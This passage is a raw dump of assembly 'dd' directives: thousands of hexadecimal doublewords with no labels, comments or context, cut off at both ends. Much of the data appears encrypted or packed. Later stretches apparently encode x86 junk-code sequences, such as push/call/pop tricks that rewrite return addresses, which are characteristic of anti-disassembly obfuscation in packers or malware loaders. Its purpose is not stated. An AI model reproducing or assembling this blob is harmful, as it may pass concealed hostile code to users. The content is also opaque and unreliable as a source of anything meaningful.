0C3759C87h, 26C73E3Dh, 0EC1AA721h dd 0FEA7E7FCh, 8D4F37D9h, 0DAEAF491h, 22C8F219h, 78219C87h dd 0E644F0CFh, 0D4927E1Fh, 2B5BBA99h, 6DA0358Bh, 0F47D42A3h dd 821F6CEh, 2D219F6Fh, 557BBC87h, 6F7515DDh, 81651D83h dd 0D2218183h, 0AA73DE87h, 702F955Ch, 74A0168Bh, 98A81918h dd 91C8B5F2h, 40302978h, 20AC9B6Eh, 0D5CD035Ch, 0FCAA4C78h dd 0B3C8822Eh, 761801AEh, 0A8A89B6Eh, 91C8BD1Ah, 0A3739CEDh dd 0A5219C84h, 88E2C6A7h, 6D05C80Eh, 0B005D806h, 5A219C9Dh dd 87E2CEC5h, 4EA0A7Ah, 0C2418274h, 4C3B413Ah, 0B39A2E80h dd 4F781941h, 3F669B6Eh, 0B338E53Ah, 2D257480h, 865B9C87h dd 44711D5Bh, 0A5218E0Dh, 0D2287487h, 79429C87h, 0BB3C2662h dd 3CD4DF64h, 0A67F650Ch, 0C625B8C3h, 569FFAD5h, 0C3109371h dd 8A7B660Ch, 2DA89C0Ch, 0BDC998A3h, 71219C87h, 0EC910D79h dd 5B0CDEBBh, 137B690Dh, 4D769CEDh, 0D2219C84h, 36E2C3A7h dd 0B005E00Eh, 5E05D806h, 2D219C9Dh, 31E2CBC0h, 0D2AFBAEDh dd 2E473614h, 0DB941779h, 9626758Eh, 5D2A8D32h, 0F21F680h dd 2D219F6Fh, 557CBC87h, 6F4D15DAh, 81651D83h, 0D2218183h dd 0AA74D987h, 2E3B4613h, 79C2B38Eh, 94472BEFh, 13ACDD2Bh dd 4CCD035Ch, 4D779CEDh, 0D2219C84h, 37E2C2A7h, 0B005E80Eh dd 5E05D806h, 2D219C9Dh, 81E2CAC1h, 24292460h, 5AD49386h dd 33A41557h, 0D82675B7h, 0EDA45A43h, 1D2675A1h, 458926E1h dd 0B519E6EFh, 24802609h, 91A0D7B3h, 3C25BBA3h, 3B21F6A3h dd 0B4219F6Fh, 997BBC87h, 97515DDh, 0B2651D83h dd 4B218B83h, 6673DE87h, 0AF89B428h, 75E4090Eh, 1DE9B6Eh dd 5DC89796h, 0C5739CEDh, 96219C84h, 11E2C6A7h, 0A105C80Eh dd 0D605D806h, 69219C9Fh, 61E2CEC5h, 62044489h, 3DC9570Dh dd 0F0219C87h, 37E73AA3h, 0AE764447h, 0A8541110h, 33E08BB1h dd 31AC560Ch, 5DCD035Ch, 0C5769CEDh, 96219C84h, 14E2C3A7h dd 0A105E00Eh, 0D605D806h, 69219C93h, 95E2CBC0h, 8DF125E1h dd 2D21906Fh, 0FE47DB87h, 0CF1F4687h, 9A09B0A2h, 2D7B6975h dd 3C21F657h, 0B4219F6Fh, 997CBC87h, 94D15DAh, 0B2651D83h dd 4B218783h, 6674D987h, 0F0D0B179h, 735F4C1Bh, 0BCEC190Eh dd 0D22E9B6Eh, 2D219C81h, 96B4210Eh, 9BDE9B6Eh, 20A8520Ch dd 0D5C884DEh, 4AF8210Eh, 38479B6Eh, 0F21F65Fh, 2D219F6Fh dd 557CBC87h, 6F4D15DAh, 81651D83h, 0D2218183h, 0AA74D987h dd 0D0F09F81h, 0F3389A64h, 0B8A838A5h, 91C88D1Eh, 4B219B6Eh dd 46FA5F87h, 0A28201A8h, 0D62E98A3h, 0BBE19678h, 5A258003h dd 10B41587h, 50267588h, 0A207C502h, 0A54BD380h, 0D22274D7h dd 31019C87h, 0F0A8C444h, 1EA098A3h, 2D3B98A3h, 0C6619C87h dd 0DB05D444h, 0F5BAD28h, 0D2201788h, 81D99C87h, 0B4219C83h dd 0E5A1F043h, 2D21976Eh, 0C901FB87h, 563E51A9h, 0DBCCE45h dd 59D817D7h, 8025B8C3h, 0B4219C82h, 0B7705031h, 22211723h dd 9621950Ch, 48A99387h, 0C3219C87h, 96A84C0Ch, 807298A3h dd 0B4219C80h, 0DCEB46E3h, 73DFD487h, 0C421F6DFh, 4B219F6Fh dd 667BBC87h, 0F67515DDh, 4D651D83h, 0B4218B83h, 9973DE87h dd 0C503D951h, 9F2811B6h, 0FEDE9B6Eh, 0A2C89796h, 3A719CEDh dd 69219C84h, 0ECE2C4A7h, 5E05D80Eh, 2905D806h, 96219C9Fh dd 3AE2CCC7h, 0FB6E26F8h, 0C5E4110Eh, 0ECAC9B6Eh, 0B3CD035Ch dd 0A5F617E1h, 0A59EFA57h, 0B2E11F77h, 4B218E6Fh, 0CD1CB587h dd 0D3CB67C6h, 0BA4F79FBh, 0B58047AEh, 0B38C01CEh, 2D219C93h dd 57E3CE1Eh, 8D2231D9h, 17CA2770h, 76ADA821h, 827C9390h dd 6DA415D9h, 30267585h, 2EC9CC87h, 0B6219C87h, 0C2795FDFh dd 2425B8C3h, 0C925B8C3h, 29219C87h, 0F5CB5FD7h, 75FCE2h dd 934718ACh, 13AA2157h, 4CC884DEh, 4D719CEDh, 0D2219C84h dd 31E2C4A7h, 0B005D80Eh, 5E05D806h, 2D219C9Ah, 78E2CCC7h dd 0A3FBCE46h, 0DF387550h, 0B39C1745h, 0E2267595h, 5D29511Ah dd 0D21F680h, 2D219F6Fh, 557EBC87h, 6F5D15D8h, 81651D83h dd 0D2218B83h, 0AA76DB87h, 0D7CEBFFFh, 5A21916Fh, 0A030DB87h dd 77644338h, 623AAB2Bh, 10AA15F4h, 0D5C88506h, 694BDFD8h dd 0B42274D1h, 4019C87h, 59A8C244h, 0D2A098A3h, 4B3598A3h dd 0F3679C87h, 0FBDD2244h, 802D8532h, 0DE3A1780h, 59C9CB87h dd 0D219C87h, 1F7E5FD8h, 0CA25B8FBh, 0B125B8C3h, 95219C87h dd 66B75FD0h, 0B4218F08h, 5A2F7587h, 0D7479C87h, 0ADBC6B6Fh dd 0A1627E4Fh, 0A40E2B1Eh, 6D2E870Ch, 33A1750h, 0B7C9C987h dd 7A219C87h, 0A47C5FDAh, 1725B8EBh, 5025B8C3h, 0E0219C87h dd 0D1695FD2h, 2A69D7F4h, 6C12B7CFh, 72D01DE1h, 0C4BC1516h dd 0A526759Bh, 0A2383532h, 0FCA45A80h, 952675A1h, 4DC0010Eh dd 0B0C99B6Eh, 0F3219C87h, 0C496425Ah, 96219C8Eh, 6C081B56h dd 0C1372613h, 502ECC69h, 69219C9Eh, 0B421916Fh, 0FE483687h dd 0FAC4CB95h, 0A56A70DBh, 0C32E473Dh, 0A5219C87h, 0F66517D9h dd 0A1AAFA83h, 5C419C0Ch, 5A219C80h, 0FA51741Ah, 7FCC3B86h dd 4B219C96h, 483AE799h, 67EBFF51h, 38C183BDh, 30080E9Eh dd 55C9C489h, 18219C87h, 420FA8BFh, 799E168Dh, 0B3089863h dd 0C3C8EF8Eh, 26219C87h, 91ADFFC7h, 6C586BE3h, 4B297593h dd 0A970B29Ch, 0FA8FDDCh, 399398A3h, 0C39463DFh, 326758Ch dd 0B7C9CC87h, 7A219C87h, 0A4795FDFh, 1725B8C3h, 5E25B8C3h dd 0E5219C87h, 0BEB95FD7h, 0F6FA190Ah, 3F479B6Bh, 0BCA0FA51h dd 0FDDE89FFh, 7E739CEDh, 4B219C84h, 0FFE2C6A7h, 0D605C80Eh dd 6D05D806h, 0B4219C9Ah, 0DFE2CEC5h, 0E14B8937h, 0AF4A4A22h dd 0D6A4156Eh, 1B2675A6h, 0C2C2F042h, 3A21F6C7h, 0B4219F6Fh dd 997ABC87h, 97D15DCh, 0B2651D83h, 4B218A83h, 6672DF87h dd 0D36D79EDh, 8023893Ah, 0B4267480h, 0C4F59C87h, 35994B66h dd 85C9CC52h, 6E219C87h, 29E989F9h, 3A98259Fh, 4102BF4Bh dd 3F53DBh, 7BD570h, 789417DEh, 1D267588h, 4B327487h, 0AD0A9C87h dd 4C59F20Fh, 0A360D53Ah, 5E7A47DCh, 3123F766h, 2DAAC532h dd 8B88218Eh, 0CEA89B6Eh, 0A2C89762h, 0D00C210Ch, 0DDC89B6Eh dd 0DE219C86h, 59C9CB87h, 0D219C87h, 1F7E5FD8h, 0CA25B8FBh dd 0B325B8C3h, 95219C87h, 81805FD0h, 0A99C1703h, 3A267591h dd 2D218C6Fh, 6E979887h, 931F5ACFh, 0FD813472h, 7CB24183h dd 69A1932Fh, 0EC219C87h, 0C5A411E6h, 9B267050h, 219ECCC8h dd 0C249BBD4h, 0A54BB883h, 0D22274D4h, 32019C87h, 0E8A8C744h dd 1EA098A3h, 2D3C98A3h, 0C5629C87h, 782D6744h, 3E78BDA2h dd 0DDFE6FAEh, 69219A06h, 11941787h, 0D326758Ah, 0C4023D12h dd 979BFA80h, 0AB463C4h, 0CF267587h, 0D1C9C987h, 49219C87h dd 3D7C5FDAh, 0DB25B8EBh, 3525B8C3h, 0D3219C87h, 85495FD2h dd 28357B44h, 3EF6391Ah, 3E21F680h, 0B4219F6Fh, 997EBC87h dd 95D15D8h, 0B2651D83h, 4B218583h, 6676DB87h, 866FBC77h dd 66B2BF1Fh, 0B4219A0Eh, 5AAC9387h, 7D219C87h, 96251388h dd 0F1479C87h, 0CFB2D87Dh, 0D1C9CB87h, 49219C87h, 3D7E5FD8h dd 0DB25B8FBh, 3125B8C3h, 0D1219C87h, 90025FD0h, 0C25EC884h dd 5BFBDE24h, 80263D12h, 0A19C1780h, 0A267588h, 52D7B93Eh dd 0B2251595h, 0A3729CEDh, 0A5219C84h, 89E2C7A7h, 6D05C00Eh dd 0B005D806h, 5A219C92h, 36E2CFC4h, 4397FC88h, 7B20290Ch dd 2E409B6Eh, 3B0E113Ah, 0E0B46380h, 0DE2675A3h, 59C9CC87h dd 0D219C87h, 1F795FDFh, 0CA25B8C3h, 0B925B8C3h, 92219C87h dd 0FD865FD7h, 0AA9044BDh, 0D184AB61h, 0C42C753Ah, 1F772D80h dd 0A2234502h, 0F721F680h, 0D2219F6Fh, 0AA7BBC87h, 907515DDh dd 7E651D83h, 2D218683h, 5573DE87h, 37D92679h, 639F6FB5h dd 3B07C502h, 694BCF80h, 0B42274D7h, 2019C87h, 69A8C444h dd 0D2A098A3h, 4B3498A3h, 0F5619C87h, 593C4744h, 8014D10Ah dd 8A28F480h, 8712A72h, 757BAD88h, 0E005A806h, 213DEE3Dh dd 0A6C9CC87h, 0F2219C87h, 0E0795FDFh, 3525B8C3h, 4725B8C3h dd 6D219C87h, 7DB05FD7h, 65859927h, 2D134783h, 0D2218E6Fh dd 0B405AF87h, 8C32E1F4h, 4677F175h, 522D312h, 1D57B63Bh dd 0A2037D12h, 51ABC380h, 0D9302978h, 79C99B6Eh, 5C219C87h dd 0B5BD269h, 288719D4h, 404880EDh, 0C2A98800h, 4C01AD02h dd 4708C680h, 6EC894DAh, 2BFA190Ah, 5A4B9B6Bh, 2D2274D7h dd 0CE019C87h, 0FA8C444h, 0E1A098A3h, 0D23698A3h, 39619C87h dd 99A77D44h, 275F258Eh, 0FDDEC244h, 7E749CEDh, 4B219C84h dd 0F8E2C1A7h, 0D605F00Eh, 6D05D806h, 0B4219C9Eh, 0C0E2C9C2h dd 0E335C149h, 0AB941570h, 0C22675B2h, 4C235102h, 8121F680h dd 69219F6Fh, 777ABC87h, 7E7D15DCh, 9651D83h, 96218B83h dd 8872DF87h, 733DB55Dh, 0C898090Eh, 0DC089B6Eh, 0B3C887BAh dd 7C781941h, 47669B6Eh, 95C9CD87h, 6B219C87h, 2C785FDEh dd 5325B8CBh, 7F25B8C3h, 0F5219C87h, 786E5FD6h, 38AB931Dh dd 7F219C87h dd 4B219C97h, 0F8CA5017h, 3E7B6BA8h, 4396B2AEh, 0B1A6E1F8h dd 7990010Eh, 4D499B6Eh, 0C5FC8379h, 4BA093D1h, 0FC219C87h dd 0F6151DD8h, 154C7777h, 0B421936Eh, 5A9C387h, 71D73741h dd 0F18275Ah, 70277963h, 0AE302978h, 0DEC99B6Eh, 0CA219C87h dd 1EEC6715h, 960A5E0Bh, 22B13EB3h, 9621990Ch, 9AA0FA87h dd 287BD5F2h, 3EBE4702h, 49952380h, 64DEE0F5h, 473C110Eh dd 0A8A89B6Eh, 91C88636h, 0A3729CEDh, 0A5219C84h, 89E2C7A7h dd 6D05C00Eh, 0B005D806h, 5A219C91h, 70E2CFC4h, 1B1256B5h dd 4CC88492h, 36665A06h, 57E7D44Ch, 6EC8BADEh, 0B42D74D4h dd 1C4E9C87h, 2CB4CA73h, 0C04BAB72h, 0CA4750F4h, 0FC49D266h dd 9B4001EFh, 0F77CC00h, 0EB40183Eh, 7E151DDEh, 3351A28Ah dd 7E779CEDh, 4B219C84h, 0FBE2C2A7h, 0D605E80Eh, 6D05D806h dd 0B4219C9Bh, 5DE2CAC1h, 8E48BFF5h, 9ED4A4DBh, 40302978h dd 2E479B6Eh, 9A41148h, 38267018h, 0B9E429A4h, 0A57E9B6Eh dd 0F09C1757h, 1F2675A7h, 0A2031902h, 0F021F680h, 0D2219F6Fh dd 0AA7CBC87h, 904D15DAh, 7E651D83h, 2D218983h, 5574D987h dd 0CEE71D51h, 0A2C8BADEh, 7DC31DD0h, 1129621h, 0D0E807B4h dd 5573CED7h, 2D219C0Ah, 0A72EC587h, 4B271B88h, 252E9C87h dd 0D2219C87h, 6DA0C4DDh, 8E974FA3h, 0C21F6ACh, 2D219F6Fh dd 557FBC87h, 6F5515D9h, 81651D83h, 0D2218183h, 0AA77DA87h dd 0E2197B10h, 0E69C7FB6h, 0D2D4DC6Eh, 7F2A8D32h, 18F52280h dd 20ACC9C9h, 0D5CD035Ch, 4F7411A4h, 64DE9B6Eh, 0B2739CEDh dd 2D219C84h, 0CCE2C6A7h, 4F05C80Eh, 0A105D806h, 0D2219C93h dd 55E2CEC5h, 0B4271E88h, 0E7089C87h, 2AC8BF6Ah, 0B51C190Eh dd 0C22E9B6Eh, 0A5219C85h, 57E7680Dh, 6EC8BADEh, 75A0FAC4h dd 5EC91CE3h, 5219C87h, 1C9D0CF7h, 47C9CC4Bh, 1219C87h dd 0B15EEC47h, 7B661FFAh, 0EBDB9CCFh, 5E05D80Ch, 4607303Dh dd 1F21179Fh, 2B25B8C3h, 0A5218D6Eh, 4863887h, 0A5204682h dd 0C8A4DD0Dh, 0A038F58Eh, 75409436h, 7E739CEDh, 4B219C84h dd 0FFE2C6A7h, 0D605C80Eh, 6D05D806h, 0B4219C9Ch, 63E2CEC5h dd 7E3374E8h, 0F671A65Bh, 5BBC010Ch, 0C4D99B6Eh, 0C874190Eh dd 0DCDE9B6Eh, 0B3C89796h, 0B2769CEDh, 2D219C84h, 0C9E2C3A7h dd 4F05E00Eh, 0A105D806h, 0D2219C9Bh, 51E2CBC0h, 4FADE54Ah dd 0C5A395F0h, 90AACF7Bh, 91C88D16h, 90A411DDh, 0CF267018h dd 0D1C9CB87h, 49219C87h, 3D7E5FD8h, 0DB25B8FBh, 3625B8C3h dd 0D1219C87h, 648A5FD0h, 86CB9132h, 5D2E3E66h, 69219C96h dd 0B421906Eh, 59E2D687h, 0E5D218BBh, 0A530E90Dh, 21F1631Fh dd 0A6C9CA87h, 0F2219C87h, 0E07F5FD9h, 3525B8F3h, 4325B8C3h dd 6B219C87h, 6B9E5FD1h, 5B59FC1Eh, 8494ADD1h, 882675ADh dd 7458190Eh, 0B44B9B6Eh, 5A2274D1h, 73019C87h, 0E2A8C244h dd 0FA098A3h, 0A53498A3h, 84679C87h, 68931644h, 5D37D90Ah dd 0CFA41180h, 22267050h, 96219A0Eh, 0DEB41787h, 0F52675B3h dd 0D0A093D5h, 3E219C87h, 0B0A8C6D8h, 821F6A3h, 2D219F6Fh dd 557BBC87h, 6F7515DDh, 81651D83h, 0D2218883h, 0AA73DE87h dd 45941738h, 0A52675A5h, 0C421DD12h, 0C621F680h, 4B219F6Fh dd 6679BC87h, 0F66515DFh, 4D651D83h, 0B4218783h, 9971DC87h dd 0AB7349C9h, 0CBBAB15Fh, 4B231288h, 6AAA9C87h, 0D24B440Ch dd 692274D5h, 0EE019C87h, 0EA8C644h, 69A098A3h, 963698A3h dd 19639C87h, 7FCAFF44h, 20A0FA30h, 0ECAC7043h, 0B3CD4B0Eh dd 0B2739CEDh, 2D219C84h, 0CCE2C6A7h, 4F05C80Eh, 0A105D806h dd 0D2219C92h, 0BEE2CEC5h, 102CF8Bh, 5DC896AAh, 7DF717D9h dd 92A86D0Ch, 1921F6A3h, 0A5219F6Fh, 117BBC87h, 4D7515DDh dd 90651D83h, 5A218483h, 0EE73DE87h, 6CAB4B34h, 5AC90F83h dd 6E219C87h, 0E0EC8FA7h, 7579D45Dh, 92E54430h, 67779037h dd 2D219A6Eh, 2DDD9287h, 12D84FF9h, 5AD80FD7h, 3B051512h dd 3821F680h, 0B4219F6Fh, 9978BC87h, 96D15DEh, 0B2651D83h dd 4B218083h, 6670DD87h, 0C6E44AE0h, 0FFE5D431h, 0D19CAF4Bh dd 0D32675B3h, 0C421C502h, 96287580h, 83119C87h, 43B847C6h dd 15DB3B4Fh, 800B4D02h, 0B4219380h, 0F21F687h, 2D219F6Fh dd 557CBC87h, 6F4D15DAh, 81651D83h, 0D2218083h, 0AA74D987h dd 7BDDBE96h, 11613BB9h, 0A0941540h, 692675ABh, 0A221C512h dd 0ACAE9380h, 0DD219C87h, 69219F09h, 4B9E9387h, 57ACB5D1h dd 73267589h, 0B020190Eh, 85A09B6Eh, 0D0A63AEDh, 0C174190Ch dd 0F4AC9B6Eh, 0B3CD773Bh, 0D720DF0Eh, 0C436A13Ah, 941180h dd 0F226706Ch, 0A5219CB4h, 0E1CA3874h, 69219C3Fh, 0C0E19787h dd 5A395E84h, 2105D80Ch, 962174D4h, 0CA7A9C87h, 0A5218B44h dd 0F67D1587h, 4D651597h, 8399C793h, 0A5212F7Dh, 9651767h dd 0FCC16383h, 48C9CF87h, 85219C87h, 5B7A5FDCh, 0E825B8DBh dd 0AF25B8C3h, 19219C87h, 53665FD4h, 1C168940h, 81A19DDDh dd 0F521F679h, 0D2219F6Fh, 0AA79BC87h, 906515DFh, 7E651D83h dd 2D218483h, 5571DC87h, 3BB6844Dh, 0CF40648Bh, 0D1C9CE87h dd 49219C87h, 3D7B5FDDh, 0DB25B8D3h, 3925B8C3h, 0D4219C87h dd 0B3985FD5h, 72A8210Ah, 5FAC9B6Bh, 6ECD70CDh, 928AA93Fh dd 3BA4AF1Fh, 62675B6h, 0E7C85D48h, 4759D317h, 22D4A264h dd 87B3C884h, 3AD928E9h, 80C43BD9h, 0D78F559Ch, 0F305E983h dd 0E8D98BA4h, 9, 5B3B06E5h, 45FE770Ah, 0D5B50BDAh, 5A07E92Dh dd 89E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 61F90F92h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 83C35040h, 8B0FE2AAh, 8, 28C0Fh dd 61600000h, 0BE9h, 2D81FB00h, 0E5EE814Ah, 0FFDAD48h dd 57006AC3h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 0AF55B484h, 88B0626Ch, 5E9h, 0C0F8FE00h dd 0C08B3784h, 0B70FF560h, 0BD8361F3h, 7E918A5h, 83097500h dd 0E91A45BDh, 19740007h, 0C08B5350h, 4B9B8h, 0F5858900h dd 8D07E920h, 0EBD8359Dh, 5BD3FF07h, 45BD8358h, 7E91Ah dd 53501774h, 4B9B8h, 0F5858900h, 8D07E920h, 0EBD4D69Dh dd 5BD3FF07h, 0BE958h, 52CB0000h, 0CA55E1ECh, 0B797E517h dd 56006AEDh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 0D30AEFD4h, 80605D45h, 890FBDEBh, 6, 890Fh dd 8B610000h, 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 0BE9C674h, 21000000h, 1C6F2DE4h dd 0C702EF3Ch, 516029E9h, 0F596160h, 4061FEB7h, 8166C18Bh dd 0EBE2BDDFh, 4, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 67489FBBh, 48D63052h dd 2E4D8D29h, 0BF0F07E9h, 61858DF3h, 0E907E908h, 12h, 973EBF26h dd 94AB6C46h, 0A47C0A5Eh, 7C932BC7h, 0F90039Fh, 81h, 8C0F5000h dd 4, 61595260h, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 6ABF7Dh, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 18h, 0A0C35343h, 2DABB33Ch dd 6860Fh, 0B5890000h dd 7E92FE9h, 34E68166h, 8B006AD5h, 0E90B55BDh, 0BA858D07h dd 6A07ECEFh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 6FF4C357h, 958949FDh, 7E91E0Dh dd 6A05C083h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 7E39C353h, 66C042C1h, 0BF1F2BBFh dd 2E961E44h, 85AABE50h, 4893502h, 0DE8B6024h, 55B50157h dd 5E07E919h, 6A006A61h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 5B25C352h, 641AC4CCh dd 791659B2h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 9582EFC3h, 62774E95h, 666010D9h dd 932FF281h, 61F8BF0Fh, 0FB995FFh, 0FE907E9h, 0F2000000h dd 94C99727h, 6B8E68D4h, 0CDCCF251h, 9D8D95E5h, 7ECD72Ch dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0E0C35343h dd 6840Fh, 0BD8B0000h, 7E90AF1h, 0B58BD3FFh, 7E9124Dh dd 0F9D85FFh, 0B52307E9h, 7E919B9h, 6A0E9h, 0E800h, 815D0000h dd 0ECEFC4EDh, 0D1BD8107h, 0D007E92Ah, 0F000007h, 12786h dd 13E800h, 0F73D0000h, 4EB5558h, 864532C6h, 9BB535C9h dd 0AB1D3E85h, 0F78B6667h, 0D99D8B5Fh, 307E91Dh, 0E91539B5h dd 0E38107h, 0B000001h, 0B1850FDBh, 83000000h, 0ECEDE3BDh dd 840F0007h, 50h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 0B0C35545h, 8CD0FA7Eh, 0DB5B58Bh, 0FE907E9h dd 94000000h, 698A042Fh, 0D2A33744h, 9FF87342h, 73E96FEFh dd 0E9000000h, 0Ch, 0FFE8327Bh, 43D59978h, 0A5505247h dd 0EDE385C7h, 107ECh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 0B58B93C3h, 7E918D1h dd 31E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 66F5E098h, 0A24EC781h, 0EDE385C7h dd 7ECh, 0BE660000h, 9D8DC6C5h, 7E91DD9h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 15h, 0BBC35646h, 0F1B70FFFh dd 0FEFF2381h, 9D01FFFFh, 7E93145h, 6ADB8C66h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 9A7BC357h, 0DCC96F80h, 2890Fh, 0F28B0000h, 0F04C3F6h dd 8684h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 0A5BD2957h, 0FF07E90Bh, 0E9005995h dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 9D89A1F3h, 7E924D5h, 76BCBF66h, 4ABF6650h dd 24048998h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 61C35343h, 36EBAFEAh, 0F6570A6h, 682h, 35B58B00h dd 0E907E921h, 36Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 48C35545h, 0C27CA811h, 0BF48C73Bh, 0B0FCE0h dd 70E6F18Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 59C35747h, 7F551C4h, 0B58BD71Fh, 7E911B1h, 5E971E4h dd 6D000000h, 69220CDCh, 6AD8B60Fh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 4BE4C351h dd 0D3DE31CBh, 6BAh, 0F28B6600h, 0E8C1C38Bh, 9BD2904h dd 6607E932h, 0B58BE2F7h, 7E90065h, 6AD82Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 0AEC132C3h dd 89F18B50h, 8B66241Ch, 0D1B5FFF2h, 5107E92Ah, 0FF5F5F50h dd 0E90C3195h, 50006A07h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 5300B0EFh, 834027BEh dd 70E65F17h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 24C35343h, 6CA3F97Bh, 85B589F6h, 0E407E92Ah, 0D6816671h dd 8C0F9078h, 6, 0B5BD03h, 613C07E9h, 22C830Fh, 0B58B0000h dd 7E9298Dh, 0E8D8B60Fh, 10h, 0ABFDF12Eh, 0E6189387h, 28342259h dd 12EF0C77h, 6BA5Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 910F7C3h, 8C0E41A5h dd 72DABF66h, 0C38B4EFAh, 6A04E8C1h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 8BDFC353h dd 0BEF5BE6Ch, 9C4B37DCh, 1F7D8531h, 0FB8B07E9h, 0FE2F766h dd 0D82BF7B7h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 3C35343h, 0F1EA4BE5h, 3175B589h, 9D8907E9h, 7E93211h dd 0D82BFC58h, 170880Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 59D238C3h, 7B9F6h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 0B6CCEDC3h, 9EC76190h, 8BFA43F2h, 0E90995B5h, 6E807h dd 4BF40000h, 760AE3Bh, 835F5F57h, 0B58B00C1h, 7E92395h dd 860FD93Bh, 102h, 0F021CE81h, 8C667A05h, 55006AD9h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 543FBA4Fh, 0F6CB7D5Bh, 840F04C1h, 0A2h, 5995FFh, 6A07E9h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 216A0C3h, 6AC32B5Bh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 0BD6FC352h, 8343D50h dd 860F0000h, 52h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 34C35343h, 801AA84Fh, 8B6D06EFh, 54E9F2h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 890F2FC3h, 6, 0AAD8589h, 0C08B07E9h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0EAC35242h, 49EE3D7Fh dd 88CFF61Ch, 17CFBFAFh, 0C38B1643h, 8C0FD88Bh, 6, 7E5BD29h dd 9BE07E9h, 0C7146F9Eh, 0E9201985h, 76097F07h, 6AC08B19h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 219FC356h, 0BA4B1553h, 8BE05A83h, 0E91521B5h dd 0D6816607h, 0BD815067h, 7E92AD1h, 7D0h, 3C850Fh, 0F600000h dd 68Fh, 6D850B00h, 0F07E90Ch, 68Ah, 8D0F00h, 61000000h dd 2AD185FFh, 6A07E9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 0B5FFE8C3h, 7E92AD1h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 76C35646h, 890A2B80h dd 0E92141BDh, 3195FF07h, 9007E90Ch, 345678B8h, 53006A12h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 0D40022ADh, 3FDECE81h, 9D8D3223h, 7ECF5FEh, 0FFF98CE9h dd 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 85DDAE2Eh, 0EA474BC0h, 0FD9D0995h, 8B07E908h dd 6AC18BF9h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 0FA89C351h, 8D893E81h, 7E907DDh dd 4EBh dd 0B5890000h, 7E90289h, 1A9D9D89h, 858D07E9h, 7E90861h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0B8C35747h dd 329E8770h, 49BD2B8Dh, 8907E901h, 0E90E3DBDh, 0CE99007h dd 81000000h, 60C0B431h, 0BA797319h, 501D2BB9h, 0D8D0Fh dd 52500000h, 6E3EBF66h, 8B66310Fh, 90585AF2h, 1B558D89h dd 6A07E9h, 0DEF78166h, 6A006A2Ch, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 71F4C355h dd 5D557219h, 0B58B1569h, 7E91991h, 0F1B70F51h, 0FF858D5Fh dd 6A07ECF7h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 0FFCC353h, 1589h, 10E900h, 511A0000h dd 8EEB87F3h, 0D6548CC4h, 0CC95C304h, 9E9FE7Eh, 98000000h dd 0E695FDA3h, 0B2DC8BCh, 0BF05C083h, 60916DA5h, 8E990h dd 77350000h, 0E0E00893h, 90502708h, 25F9B589h, 6A07E9h dd 800F006Ah, 19h, 10E8h, 37563600h, 